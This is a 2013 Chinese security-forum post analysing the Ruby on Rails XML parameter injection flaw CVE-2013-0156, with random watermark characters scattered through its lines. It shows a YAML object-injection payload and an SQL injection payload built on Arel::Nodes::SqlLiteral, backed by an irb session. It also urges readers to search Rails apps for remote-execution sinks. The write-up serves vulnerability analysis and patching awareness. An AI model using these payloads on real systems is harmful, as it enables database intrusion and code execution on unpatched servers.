找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:16:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author: wofeiwo#80sec.com 1 J) f( O1 d- S- d# [+ G  }
8 c7 }3 o) w7 T- D- I" r, a3 X
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 # M1 ~* g$ ^) D. Z. ?0 o

1 m1 n3 [# w; |4 v4 O) o  M近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
3 l" O/ i9 _, m, O5 I; T3 `2 T6 V. K9 `2 _$ I: o
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
) r7 C, v, X2 ^- V7 @/ _9 n" W7 L+ j' n! L; o) Z4 d0 ?. {3 g5 Y
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
7 U+ W4 ]* ?% N7 w# L! C
$ \* i! X0 B6 W! H; [<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: & Z# e  k# W) {* g

/ \6 H7 p1 k$ _# k* t5 J/ j1 @+ u"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. $ ?3 [: S: e: ]' K! S7 O
  U% Z# _/ o6 V7 i  F+ V, l6 u: c+ a
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
  X7 E* ~7 P$ F/ S( M. I/ F' j$ g
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
# M/ C. H7 q: l. H9 X6 W5 y
, b) d. [; X' J' ^3 D' I0 I但是等等,还有另一个参数类型,yaml。
' G& `- U8 x3 |4 H2 B
, T: b/ p- t. hyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 ( V1 g0 j# g0 s  z- E

8 z' R! N' b1 e4 {0 Q9 D<test type="yaml">--- !ruby/object:A
. V# _4 X  Y; t& X. i  q1 vaaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
! t0 l9 n1 V5 ?2 n& a) O" t+ V; {' ~; o3 T3 g( R7 K6 _$ J; X
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
( ]# ^1 C' O; m4 R; _' ~3 q2 k, [: V- F, ]( r, H* Y" m
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 , C8 c$ f) }$ L; v9 Y2 M2 G1 a8 {
9 S/ q7 Y% {) S& D( j+ u
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
1 P9 V% T$ |3 D" _8 ?$ N. S$ V6 _$ H" ?8 U
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
2 P& p7 m: v' a" N; |
1 I' H* \1 ]6 Y9 F0 Q<id type=yaml>--- !str:Arel::Nodes::SqlLiteral8 [7 e" [$ f4 K5 J6 ?* o- X( q
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
+ a' a$ E6 I; G# D+ U$ L1 `& r% e1 k5 V2 J5 ^6 q3 X) B) Y- q
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
& X% x( r( u0 C& @0 h0 f+ {# [& [$ |- z4 k& L3 E! l: x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表